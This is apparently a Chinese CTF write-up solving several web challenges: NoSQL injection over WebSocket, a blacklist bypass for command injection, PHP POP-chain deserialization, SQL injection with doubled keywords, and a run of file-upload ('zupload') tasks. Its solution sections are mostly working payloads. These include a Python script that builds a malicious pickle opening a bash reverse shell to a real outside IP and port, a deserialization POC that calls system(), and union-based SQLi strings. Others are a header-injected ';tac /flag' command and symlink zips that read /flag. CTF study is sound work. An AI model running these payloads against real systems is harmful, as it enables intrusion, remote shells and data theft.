king
题目描述:李华学习到了sql注入相关的知识,他觉得十分有趣,下去还自己找了一些靶场练手,拿掉几个题之后他信心大增,扬言自己是king of sqli,这时有师傅告诉他不仅有sql注入,还有nosql注入,并出了一道题就取名为kill the king,在经过一些尝试之后似乎这位king要滑铁卢了,这时他再次向你求助,你能帮帮他吗?
hint:
不仅是nosql还是nohttp噢,或许可以看看http之外的流量
这服务器返回的流量长得还挺别致,抓个字段搜搜看?
这题是nosql注入,NoSQL 即 Not Only SQL,意即 “不仅仅是SQL”。
nosql注入的数据库一般是MongoDB ,MongoDB 是当前最流行的 NoSQL 数据库产品之一,由 C++ 语言编写,是一个基于分布式文件存储的数据库。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。
hint有提到nohttp、流量,这题我们注意WebSocket
的流量。
什么是WebSocket?
WebSocket是一种通过HTTP发起的双向、全双工通信协议。它通常用于现代Web应用程序,用于异步传输。经过测试,burp经典版本1.7只支持查看WebSockets History,并不能对WebSocket包进行重放等操作,所以建议大家一步到位直接更新到最新版哦。
HTTP与WebSocket有什么区别?
从传输模式上就有区别,HTTP是只能由客户端发出请求,然后服务器返回响应,而且是立即响应。而WebSockets是异步传输的,即双方随时都可以向对方发送消息,一般可以用于对数据有实时传输需求的应用程序中。
这题WebSocket+nosql注入,成分还真实复杂呢。
首先看初始WebSocket流量:
To server
{"id":"owcyopkot6","query":{"find":"enemies"}}
To client
{"id":"owcyopkot6","data":{"cursor":{"firstBatch":[{"_id":"65c193592604cb703e632cc1","name":"JACOB DANGERS"},{"_id":"65c193592604cb703e632cc2","name":"MILEON MASON"},{"_id":"65c193592604cb703e632cc3","name":"MACE CAVELIER"},{"_id":"65c193592604cb703e632cc4","name":"OSRIC GRAGOLOON"},{"_id":"65c193592604cb703e632cc5","name":"MOSES STONEWELL"},{"_id":"65c193592604cb703e632cc6","name":"TRISTAN GOSBECK"},{"_id":"65c193592604cb703e632cc7","name":"REDWALD CROMWELL"},{"_id":"65c193592604cb703e632cc8","name":"JEREMIAS PICARD"},{"_id":"65c193592604cb703e632cc9","name":"EGRIC MAIDSTONE"},{"_id":"65c193592604cb703e632cca","name":"ROBIN CURTEYS"},{"_id":"65c193592604cb703e632ccb","name":"DINUS DE REUE"},{"_id":"65c193592604cb703e632ccc","name":"HAREK SEDGWICK"},{"_id":"65c193592604cb703e632ccd","name":"FLORA DAUBERVILLE"},{"_id":"65c193592604cb703e632cce","name":"RAMETTA THE SLENDER"},{"_id":"65c193592604cb703e632ccf","name":"ISEMAY VERNOLD"},{"_id":"65c193592604cb703e632cd0","name":"AVINA CECIL"},{"_id":"65c193592604cb703e632cd1","name":"FANUS THE GREAT"},{"_id":"65c193592604cb703e632cd2","name":"GASPAR SHADOWSEEKER"},{"_id":"65c193592604cb703e632cd3","name":"GOUBERT THE RED"},{"_id":"65c193592604cb703e632cd4","name":"ALDOUS DARCY"},{"_id":"65c193592604cb703e632cd5","name":"RYN THE RED"},{"_id":"65c193592604cb703e632cd6","name":"FULLER CARDON"},{"_id":"65c193592604cb703e632cd7","name":"ANSELM THE OLD"},{"_id":"65c193592604cb703e632cd8","name":"ALVINA BLUETOOTH"},{"_id":"65c193592604cb703e632cd9","name":"MICKNEY CORVISER"},{"_id":"65c193592604cb703e632cda","name":"RYKOR RAVENSGATE"},{"_id":"65c193592604cb703e632cdb","name":"REYNARD LONGBOW"},{"_id":"65c193592604cb703e632cdc","name":"ALEX TROST"},{"_id":"65c193592604cb703e632cdd","name":"ADAM KUHN"},{"_id":"65c193592604cb703e632cde","name":"STEVE GARDNER"},{"_id":"65c193592604cb703e632cdf","name":"CHASSIE EVANS"},{"_id":"65c193592604cb703e632ce0","name":"STEVEN SHAW"},{"_id":"65c193592604cb703e632ce1","name":"CHRIS COYIER"},{"_id":"65c193592604cb703e632ce2","name":"JHEY"},{"_id":"65c193592604cb703e632ce3","name":"PETE BARR"},{"_id":"65c193592604cb703e632ce4","name":"ZACH SAUCIER"}],"id":0,"ns":"king.enemies"},"ok":1}}
问一下GPT,对味儿了
补一下MongoDB的知识:
Nosql 注入从零到一 - 先知社区 (aliyun.com)
NOSQL 注入 - bonelee - 博客园 (cnblogs.com)
从零学习 NoSQL 注入之 Mongodb-腾讯云开发者社区-腾讯云 (tencent.com)
什么是NoSQL注入 | 如何挖掘、利用NoSQL注入漏洞 - 知乎 (zhihu.com)
什么是NoSQL注入 | 如何挖掘、利用NoSQL注入漏洞 - 知乎 (zhihu.com)
跟着出题人的思路,我们去MongoDB的官方文档找找线索。
{"id":"owcyopkot6","query":{"find":"enemies"}}
其中的find是MongoDB的一个Commands。
作用是:查询对应的collection。上述代码段应该是查询enemies
这一个collection的内容。
文档中还有另外一条命令listCollections
,作用是列出所有collection。
payload:
{"id":"Jay17_exp","query":{"listCollections":1}}
发现一个collection名为flag2spztpylm5x
,里面应该就是flag。
payload:
{"id":"owcyopkot6","query":{"find":"flag2spztpylm5x"}}
readbooks
开题,三个按钮。
分别跳转到/public/book1
、/public/book2
、/list/private
在机缘巧合之下,发现/list/*
可以读取所有文件名,/list/b*
可以读取所有以b开头的文件名。
/public/*
可以读取所有文件的文件内容,/public/a*
可以读取所有以a开头的文件的文件内容。这里读取app.py
源码如下。
import os
from flask import Flask, request, render_template
app = Flask(__name__)
DISALLOWED1 = ['?', '../', '/', ';', '!', '@', '#', '^', '&', '(', ')', '=', '+']
DISALLOWED_FILES = ['app.py', 'templates', 'etc', 'flag', 'blacklist']
BLACKLIST = [x[:-1] for x in open("./blacklist.txt").readlines()][:-1]
BLACKLIST.append("/")
BLACKLIST.append("\\")
BLACKLIST.append(" ")
BLACKLIST.append("\t")
BLACKLIST.append("\n")
BLACKLIST.append("tc")
ALLOW = [
"{",
"}",
"[",
"pwd",
"-",
"_"
]
for a in ALLOW:
try:
BLACKLIST.remove(a)
except ValueError:
pass
@app.route('/')
@app.route('/index')
def hello_world():
return render_template('index.html')
@app.route('/public/<path:name>')
def readbook(name):
name = str(name)
for i in DISALLOWED1:
if i in name:
return "banned!"
for j in DISALLOWED_FILES:
if j in name:
return "banned!"
for k in BLACKLIST:
if k in name:
return "banned!"
print(name)
try:
res = os.popen('cat {}'.format(name)).read()
return res
except:
return "error"
@app.route('/list/<path:name>')
def listbook(name):
name = str(name)
for i in DISALLOWED1:
if i in name:
return "banned!"
for j in DISALLOWED_FILES:
if j in name:
return "banned!"
for k in BLACKLIST:
if k in name:
return "banned!"
print(name)
cmd = 'ls {}'.format(name)
try:
res = os.popen(cmd).read()
return res
except:
return "error"
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8878)
blacklist.txt
同理可以读取,太多了不放了。
允许的字符串有这些,感觉是BASH内置变量RCE,但是又过滤了env
、echo
过滤虽然多,但是我们可以用base64+转义符绕过。
base64绕过:
ls = `echo 'nHMK' | base64 -d`
转义符绕过:
【对于linux】不对于php
- cat flag -> ca\t fl\ag
- cat flag -> ca"t flag / ca""t flag
- cat flag -> ca’t flag / ca’'t flag
payload:
/public/`'ec''ho'$IFS$9'L19mbGFn'|'ba''se64'$IFS$9-d`
pickelshop
开局三个按钮。
注册时候按钮点击无响应
前端代码阻止了表单提交,相当于禁用了按钮。
模仿前端js语句功能,手动注册。返回了一个pickle。gASVJwAAAAAAAAB9lCiMCHVzZXJuYW1llIwDMTExlIwIcGFzc3dvcmSUjAMxMTGUdS4=
手动加入cookie后,手动登录。
没什么功能。猜测在pickleshop处或者login处,会自动加载pickle。尝试构造恶意pickle。
最后尝试得到login
处会加载你的pickle。
恶意pickle(反弹shell)生成脚本:
import pickle
import os
import base64
class aaa():
def __reduce__(self):
return(os.system,('bash -c "bash -i >& /dev/tcp/120.46.41.173/9023 0>&1"',))
a= aaa()
payload=pickle.dumps(a)
payload=base64.b64encode(payload)
print(payload)
生成
gASVUAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDViYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEyMC40Ni40MS4xNzMvOTAyMyAwPiYxIpSFlFKULg==
登录一下就反弹shell成功了。
POPgadget
题目描述:真的是签到题!
开题直接给了源码,PHP反序列化
<?php
highlight_file(__FILE__);
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
}
class Test{
public function __call($f,$p){
echo getenv("FLAG");
}
public function __wakeup(){
echo "serialize me?";
}
}
class A {
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}
class B {
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
if(isset($_REQUEST['begin'])){
unserialize($_REQUEST['begin']);
}
?>
PHP版本7+
链子:
B::__destruct()->A::__get($p)->Fun::__call($f,$p)
POC:
<?php
highlight_file(__FILE__);
class Fun{
public $func = 'system';
public function __call($f,$p){
call_user_func($this->func,$f,$p); //system('ls')
}
}
class Test{
public function __call($f,$p){
echo getenv("FLAG");
}
public function __wakeup(){
echo "serialize me?";
}
}
class A {
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}
class B {
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
//B::__destruct()->A::__get($p)->Fun::__call($f,$p)
$a=new B();
$a->a=new A();
$a->p='env'; //执行的命令
$a->a->a=new Fun();
echo serialize($a);
payload:
/?begin=O:1:"B":2:{s:1:"p";s:3:"env";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:4:"func";s:6:"system";}}}
flag在环境变量里面,找了好久。不知道为什么我这种打法,执行一次环境就宕机得重启。
sql教学局
题目描述:唉 我摊牌勒 这样的教学局 不可能拿不下吧!
不是,真教啊?
说有waf,先用fuzz排查一下waf是什么。
同时还会吃掉or
、select
、from
,我们用双写绕过。
字段数1
查询库:
99'/**/union/**/selselectect/**/group_concat(schema_name)/**/frfromom/**/infoorrmation_schema.schemata#
1、读取secret数据库password表的某条数据
获取password表的字段
99'/**/union/**/selselectect/**/group_concat(column_name)/**/frfromom/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/'passwoorrd'#
拿flag
99'/**/union/**/selselectect/**/group_concat(flag)/**/frfromom/**/secret.passwoorrd#
2、读取当前数据库score表,学生begin的成绩(grade)
99'/**/union/**/selselectect/**/group_concat(grade)/**/frfromom/**/ctf.scoorre/**/where/**/student/**/like/**/'begin'#
3、读取/flag
写马到文件:
99'/**/union/**/selselectect/**/loloadad_file('/flag')#
flag:
flag{9c2afc2b-d974-4c8c-8089-c47ab9a8e9f0}
zupload
题目描述:李华师傅最近总是收到外国友人的来信,为了方便彼此的交流,他写了一个压缩包上传项目,现在还在开发过程中,想邀请你对他的网站进行测试,并表示以后要是需要给外国友人写信就包给他了。李华师傅非常聪明,知道项目越大出问题的概率就越大,于是他把还没有实现上传功能的项目发了过来,你能帮帮他找到网站的漏洞吗?
前端判断文件类型。文件类型改成zip绕前端,抓包改回来就行。
emmm,想错了,这题上传功能根本没做好。
一顿分析之后,认为上传功能实现很可疑。get传参应该是执行文件,下图就是执行当前目录下upload.php
。
目录穿越读取flag。
zupload-pro
题目描述:Dear ctfer,
I hope this email finds you well. I wanted to follow up on the security vulnerability you found in my PHP project. Firstly, thank you for bringing it to my attention. Your help in identifying this issue is greatly appreciated.
I was surprised to discover a security vulnerability in such a small project, especially since the PHP backend is only 15 lines long. However, I have since fixed the issue and implemented a file uploading feature. I would like to invite you to test it out and provide any feedback you may have.
Again, thank you for taking the time to test my project and for bringing the vulnerability to my attention. Your input has helped me improve the security of my project.
Best regards,
Li Hua
OK,这次终于是文件类型改成zip绕前端,抓包改回来就行。
zupload-pro-plus
题目描述:李华吸取了前两次的教训,再次加固了项目,但是他不确定自己的修复方法是否正确,为此,李华给你画了半个饼,说如果还能找出漏洞他将重重有赏。
这次加了后端对文件后缀的校验。
但是后端语句处理时候应该是整个文件名包含字符串zip
即可,那就好办,多后缀,最后一个后缀是php
就行,这样子就解析成php文件。
zupload-pro-plus-max
题目描述:项目再次被攻破了,李华十分懊恼,为此他打开了php的教程开始学习,使用了新的文件判断方法,并且为action操作换用了一个看起来十分高级的新函数,看样子他似乎并没有完全理解文档中对那个新函数的介绍,也不太懂“能跑就行”的程序员第一法则。尽管如此,李华仍然十分得意,并自信的又给你画了一个饼,你看破不说破,答应继续挖他项目的漏洞。
注意题目描述:为action操作换用了一个看起来十分高级的新函数,看样子他似乎并没有完全理解文档中对那个新函数的介绍
想了半天没啥头绪,突然发现有附件:
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
if (!isset($_GET['action'])) {
header('Location: /?action=upload');
die();
}
if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
die('<h1>Invalid action</h1>');
}
die(include($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];
$file_ext = explode('.', $file_name);
$file_ext = strtolower(end($file_ext));
$allowed = array('zip');
if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {
if ($file_error === 0) {
if ($file_size <= 2097152) {
$file_destination = 'uploads/' . $file_name;
if (move_uploaded_file($file_tmp, $file_destination)) {
echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'Only zip files are allowed'
));
}
}
横向对比前后题目,
改动点:if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true)
校验文件内容是不是属于压缩包。
改动点:die(include($_GET['action']));
之前都是file_get_contents
读取文件,这边变成包含。可以实现把马压缩成zip然后包含,包含时候自动执行马里面的命令。
zupload-pro-plus-max-ultra
题目描述:李华总算是领会到了程序员第一法则的含金量,他决定不再搞花里胡哨的东西了,把那些的函数又改了回去,并且表示自己非常熟悉命令行,于是用命令行实现了一个压缩包解压的功能,心想这下总不能再出bug了吧?把项目交给了你并又双叒叕给你画了一个饼。
源码:
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
die(file_get_contents('./upload'));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];
$extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';
$file_ext = explode('.', $file_name);
$file_ext = strtolower(end($file_ext));
$allowed = array('zip');
if (in_array($file_ext, $allowed)) {
if ($file_error === 0) {
if ($file_size <= 2097152) {
exec('unzip ' . $file_tmp . ' -d ' . $extract_to);
echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'Only zip files are allowed'
));
}
}
解法一:
注意源码片段,命令执行时候进行了字符串拼接,我们控制了相关字符串就能控制执行的命令,从而任意RCE。
$extract_to
参数是通过http头 X-EXTRACT-TO
传入的,因此控制这个即可。
我们的目标是使得$extract_to
的值为
uploads/;tac /flag > /var/www/html/1.txt
抓包改就行了。
把flag写入文件后直接访问
解法二:
软连接的解法。linux硬链接与软链接 - crazyYong - 博客园 (cnblogs.com)
bash命令ln -s
可以创建一个指向指定文件的软链接文件,然后将这个软链接文件上传至服务器,当我们再次请求访问这个链接文件时,实际上是请求在服务端它指向的文件。
创建软连接压缩包(–symlinks表示压缩软连接 )
ln -s /flag myflag
zip --symlink 1.zip myflag
上传1.zip。
传完软连接后,访问/uploads/myflag
,这里会直接把根目录的马下载下来。
可能有点懵逼,我理理。就是这题上传压缩包后都会解压后放在上传目录。访问被解压文件是直接下载,所以传了马不能直接利用。我这里上传了软连接myflag,指向/flag
,访问下载时候指向/flag
,直接下载了flag。
zupload-pro-plus-max-ultra-premium
题目描述:李华又来联系你了,但是想起他已经给你画了2.5个饼了,却连一根毛都还没看到,你有些感觉被骗了。李华拍着胸脯说放心这次绝对有保证,如果你找到了项目的漏洞他当场给你九镑十五便士,并以国际名人的名声做担保。
源码:
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
die(file_get_contents('./upload'));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];
$file_ext = explode('.', $file_name);
$file_ext = strtolower(end($file_ext));
$allowed = array('zip');
if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {
if ($file_error === 0) {
if ($file_size <= 2097152) {
$file_name_new = uniqid('', true) . '.' . $file_ext;
$file_destination = 'uploads/' . $file_name_new;
if (!move_uploaded_file($file_tmp, $file_destination)) {
echo json_encode(array(
'status' => 'error',
'message' => 'Failed to upload file'
));
}
exec('unzip ' . escapeshellarg($file_destination) . ' -d ' . 'uploads/');
echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'Only zip files are allowed'
));
}
}
命令行不能拼接了,软连接可以继续用。
zupload-pro-revenge
题目描述:李华带着他的revenge来了
源码:
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
if (!isset($_GET['action'])) {
header('Location: /?action=upload');
die();
}
if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
die('<h1>Invalid action</h1>');
}
die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];
if ($file_error === 0) {
if ($file_size <= 2097152) {
$file_destination = 'uploads/' . $file_name;
if (move_uploaded_file($file_tmp, $file_destination)) {
echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'File upload failed'
));
}
}
文件类型前端校验。和zupload-pro一样。文件类型改成zip绕前端,抓包改回php就行。
zupload-pro-plus-enhanced
题目描述:李华加强了题目(华强)
源码:
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
if (!isset($_GET['action'])) {
header('Location: /?action=upload');
die();
}
if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
die('<h1>Invalid action</h1>');
}
die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];
$file_ext = explode('.', $file_name);
$file_ext = strtolower($file_ext[1]);
$allowed = array('zip');
if (in_array($file_ext, $allowed)) {
if ($file_error === 0) {
if ($file_size <= 2097152) {
$file_destination = 'uploads/' . $file_name;
if (move_uploaded_file($file_tmp, $file_destination)) {
echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0]
. $file_destination
));
}
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'Only zip files are allowed'
));
}
}
这次有后端校验了。但是校验的不是最后一个后缀,而是后缀里面有字符串zip
即可。和zupload-pro-plus一样。
后端语句处理时候应该是整个文件名包含字符串zip
即可,那就好办,多后缀,最后一个后缀是php
就行,这样子就解析成php文件。